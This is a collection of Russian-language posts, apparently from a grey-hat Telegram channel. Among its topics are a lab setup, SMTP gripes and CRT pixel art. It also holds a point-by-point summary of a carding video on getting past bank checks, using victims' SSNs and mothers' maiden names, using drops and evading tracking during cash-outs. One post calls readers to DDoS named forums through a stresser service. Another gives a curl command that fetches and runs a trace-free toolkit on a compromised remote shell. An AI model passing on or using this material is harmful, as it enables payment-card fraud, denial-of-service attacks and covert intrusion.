https://securelist.com/lianspy-android-spyware/113253/

⚜️ @club1337

As is tradition, nerds have gone too far.

Researcher Ersei booted Linux off of Google Drive

https://ersei.net/en/blog/fuse-root

Очень хотели взять интервью у xrahitel с xss/exploit. Очень интересный персонаж и профессионал своего дела. К сожалению не сложилось, он сообщил нам, что не видит в этом смысла, т.к уже давал интервью
Ютуб канал у него очень интересный. Вот небольшой разбор от @mirea его видеоролика: "Как работает американская банковская система в глазах злоумышленника"
4:16 - Хорошие злоумышленники не работают по России. Правило. Почему так сложилось. Нужно соблюдать некоторые правила безопасности. Моральные принципы. Американцам возвращают деньги банки, страховая, государство. Страдает только их государство. А в России нельзя доказать, что ты не верблюд. Служба безопасности банка подключается только в случае больших сумм. Твой партнер может быть завербован и уже работает в банке😂😂😂😂.
11:30 - Карточки бывают двух типов дебетовые и кредитные. Есть разные виды кредитных карт, которые можно в 0 загонять(Овердрафт). Технические овердрафт. Нужно купить чайник, а у нас только 5 тысяч, ожидаем в реальном времени одобрение на кредит. Технические овердрафт для корпоративных лиц, подставные компании.
19:00 - про американские карточки, расшифровка штатов, зип коды/пост код(как у нас индекс), адрес электронной почты (по-желанию).
23:00 - что обозначают цифры в номере банковской карточке. Первая цифра тип карточки (маестро, цириус и т.д), первые 6 бин номер, по бину можно узнать банк.
26:00 - узнать есть ли доступ к интернет банку - это называется энролл/заролить и т.д.
27:00 - защита для корпоративных лиц. Не вставил флешку - не получил доступ. Электронные подписи, обычно хранится у бахгалтера и у директора. Смс подтверждение(обход дубликат симки).
30:00 - защита физических лиц. Защита для визы. Мастеркард секьюрити код. 3DS. Партнеры что-то не поделили, а так смысл один и тот же. Verified by Visa (VbV) для интернет платежей еще одна проверка(смс/распечатывать код/скретч карты(как лотерейные билеты)). Смс - это самое уязвимое дело.
35:00 - xrahitel пытается доказать почему американцы тупые (анекдот). Жиреют лысеют от мобильных телефонов. 40% людей пользуются телефона в Америке, в России намного больше. Поэтому у американцев больше банков без vbv.
38:00 - что такое мерчант. Зачем азиаты пишут свои мерчи.
40:00 - карточки которые используют злоумышленники, которые хорошо проходят. Ценовая политика на маркетплейсах у злоумышленников(старая информация).
45:00 - ssn (Social Security number) - Номер социального страхования. MMN - mother maiden name - девичья фамилия матери. MDOB - mother date of birth -датат рождения матери. Сфера применений довольно широка-от создания энролла карты до непосредственного прозвона банка от имени холдера, ведь порой от количества информации о человеке (кардхолдере), по сути зависит успех всего дела.
46:30 - энроллы. Ценовая политика.
54:40 - биллинг адрес - это адрес проживания кардхолдера.
56:30 - злоумышленники ломают порно сайты американские, чтобы добыть кредитки. Злоумышленнику используют ботнет. Отчеты по ботам/зараженным компьютерам. Токены, ключи, все что грабится, ддос, модуль впн, зайти как на дедик, клиент даже не увидит подключение, автоподмена. 15 тысяч долларов стоило такое удовольствие.
1:09:10 - как не палить свой айпи адрес в случае разрыва соединения. Использовать wifi соседа плохая затея. Модем + сим-карта. Ни один дедик, ни один сокс, впн не спасет, если захотят вычислить настоящий ip. Все равно сделают запрос провайдеру.
1:12:00 - нельзя брать с собой телефон, когда снимаешь наличные. Обратятся в биллинг отдел, найдут какое активное устройство было в момент снятия. ios устройства биллингуются с точностью 2-3 метров. Телефон с выключенной батареей посылает сигнал еще 10 минут (сделано в основном для режима sos)
1:23:00 - прозвон сервисы, рисовальщики. Как злоумышленники обходят верификацию, проверки магазинов.
1:26:00 - скуп сервисы, дропы. Как злоумышленники отправляют товары.
1:29:30 - xrahitel разосрался с мошенническими американскими форумами, послал всем нахер. Обзор на форумы злоумышленников самые распространенные(коровка, мазафака и т.д).

smtp для исходящих сообщений - главная проблема системного администратора.
Из-за злоумышленников, которые используют протокол с целью получения начального доступа, ddos, спама. Многие провайдеры выделенных серверов блокируют SMTP-порты 25, 465 и 587, а компании, которые предоставляют готовое smtp решение либо п****ы требуют номер телефона, ФИО, домашний адрес, фотку лица, фотку карточки с которой платил, мозги короче еб#т. Могут отказать в своем сервисе без объяснения причин, могут отказать за то что ты россиянин. Зарегистрироваться - это уже большая потеря времени, далее оплата заграничной картой, настройка dns записей. Пока разберешься с этим дерьмом всем на 1 сервис может уйти целый день. Вот список к кому обращаться нельзя:
proton - smtp только для компаний предоставляют. Поддержка долго отвечает, неделями возвращают мелочь. Подробнее https://t.me/mirea/187
zoho - недружелюбный интерфейс, неудобный сервис. Потратил время, понял, что пока разберусь уйдет еще больше времени.
mailgun - отказали в сервисе без объяснения причин. Скорее всего потому что у нас сервис российский. Товарищ говорил, что если все правильно сделать с чистого устройства, где страна номера телефона, карты с которой платишь, гео будет совпадать (РФ/СНГ не подойдет), то большая вероятность, что одобрят. Но дохуя чет хотят, проще с ними не работать. Настроишь все, а потом еще отъебнет что-то из-за их санкций.
gmail smtp - тут вообще все через задницу. Все неудобно, антифрод отработал запросили фотку лица и карточки. Никто помочь не смог, даже заново. Обращался к разным сервисам, которые оплачивают покупки заграницей.
smtp bz - отказали без объяснения причин.
Был провайдер у которого smtp.domain.com, mail.domain.com и еще поддержка TLS/SSL. Пздц мы с ними кучу времени въебали. Сначала проверили, что dns записи верны, пробовали настройку под SSL, потом под TLS. Я сидел на иностранных форумах читал, что американцы неправильно копируют и из-за этого ошибки, я себя тоже тупым начал считать, думал где-то пробел скопировал лишний))) Оказалось dns записи верные. Далее попробовали с веб морды отослать письма на yahoo, gmail, корп.почту тестовую. Все пришло. Выяснили, что по итогу провайдер сервера, где лежит бэкэнд сайта блокирует smtp, порты заблокированы. В любом случае под smtp должен быть отдельный сервер, нельзя все лепить на бэкэнд, так и появляются уязвимости. Подробнее:
Почему электронные письма легко подделать(подробнее про SPF, DKIM, DMARC)
Всё, что вы хотели знать об уязвимости Shellshock, но боялись спросить(IoT устройства в опасности, если bash устарел)
мощнейшие DDoS-атаки на Proton Mail / Защита от DDoS-атак для безопасной электронной почты
Mailgun and Heartbleed
Протокол SMTP, расширение STARTTLS и то, что не стоит поминать. Как работает шифрование, автор видеоролика показывает поэтапно, используя wireshark

Мы начинаем работу:) Люди уже выложили таргеты мошеннических форумов. Взяли с xss /threads/31024/ один из подписчиков руками собрал каждый таргет, отсортировал по доступности. Хотим вам напомнить, что это российский киберполигон, иностранцы тоже могут помогать, тренируйтесь. Главное не занимайтесь хуйней для бедных, не нужно трогать личную жизнь администраторов, неважно насколько они муд*ки. Лучше повышайте свой скилл, время правильно используйте. Кинули на деньги наших = выдали нам ордер на проведение аудита.
Таргеты берите отсюда: https://t.me/GreyHatChat/260

В первую очередь поиграемся с игрушкой stresser.cat админ этого сервиса уже в чате и поможет вам разобраться и объяснит как работает, какие настройки выставлять в зависимости от бэкэнда, клауда и т.д. Потом возможно поищем хороших вендоров, которые будут предоставлять для вас выделенные сервера, впны, прокси, чтобы можно было нормально копаться в вебе.

Специально для исследователей энтузиастов, багхантеров, вайхэтов, специалистов по информационной безопасности будем писать интересные статьи, отчеты, делиться опытом.

топ 3 таргета которые прям сейчас положим:
shadowforum.cc - мошеннический форум. Обманули ребят на 220$ (рекламный баннер не поставили, кинули в чс)
x0tt.cc - работа по СНГ/России. Заливы и прочая хуета.
carder.market - внесен в блеклист на xss. фейк давно закрытого форума CSU он же cpro Подделка \ Ripper (сообщает INC.)

Хотелось бы напомнить, что кто работает по РУ/СНГ у того нет финансов и знаний, чтобы создать безопасный форум. Поэтому это сейчас все ляжет. Пока можете ознакомиться.

#powershell сниппет для вывода netstat -ano + джойн по PID для вывода имени процесса:

Get-NetTCPConnection | ForEach-Object { New-Object PSObject -Property @{ LocalAddress = $_.LocalAddress; RemoteAddress = $_.RemoteAddress; State = $_.State; OwningProcessID = $_.OwningProcess; ProcessName = (Get-Process -Id $_.OwningProcess).ProcessName } } | Format-Table -AutoSize

Разверни на работе виртуалки прост

Вручную (если лень писать вагрант конфиг) разверни https://github.com/Orange-Cyberdefense/GOAD/blob/main/ad/GOAD/providers/virtualbox/Vagrantfile#L6 вот отсюда виртуалки с ОСками нужными

Далее на этих виртуалках прогнать https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/terraform/cloudru/user_data/cloudru-instance-init.ps1.tpl вот этот скрипт заменив ${username} на ansible, а ${password} на пароли отсюда https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/ad/GOAD/providers/cloudru/inventory (там у каждой виртуалки свой)

Далее тебе нужно прогнать по ним провизионинг (https://github.com/Orange-Cyberdefense/GOAD/blob/main/scripts/provisionning.sh#L15) указав в енвах нужную лабу (GOAD) и провайдера (я бы брал своего из форка CLOUD). Предварительно нужно подредачить в инвенторе файлике провайдера айпишники виртуалок (https://github.com/D00Movenok/GOAD/blob/add-cloudru-provider/ad/GOAD/providers/cloudru/inventory#L7), ну и ансибл юзер и пасс должны совпадать, предыдущий абзац об этом

Ну и раскатываться советую вот отсюда https://github.com/D00Movenok/GOAD/tree/add-cloudru-provider - мне пара багов в основной репе мешала раскатываться, я их починил, а форк пока не вмержили

Ну и норм варик просто написать провайдера под виртуализацию рабочую чтоб можно было не ручками переразворачивать))

😈 [ The Hacker's Choice (@thc@infosec.exchange) @hackerschoice ]

RELEASE:
This should be the 1st command you execute on a remote shell 🧨

source <(curl -SsfL https://thc.org/hs)

Makes the BASH hack-ready. Lots of neat commands + apt-like static binary download ('bin nmap', ...).

LEAVES NO TRACE (memory only).

🔗 https://github.com/hackerschoice/hackshell

🐥 [ tweet ]

https://www.datagubbe.se/crt/

Кстати очень классный текст про то, что современный pixel art - это совсем не то, потому что исходно эстетика pixel art появилась на CRT мониторах, и выглядела совсем иначе.

Подтверждаю, в 95 - 00 годах картинка выглядела совсем иначе, и пиксели совсем не раздражали глаз. Антиалиаснутые шрифты, по ощущениям, стали выглядеть примерно так же хорошо, как на тех самых старых CRT, ну, где-то при разрешении 4k.

Посмотреть на это вживую (ну, почти) можно, например, через https://www.dosbox-staging.org/ (это такой форк dosbox, который решил запариться насчет эмуляции CRT) (смотреть на скриншоты особого смысла нет, все равно их перемасштабируют в процессе доставки до глаз 100500 раз, и эффект пропадает).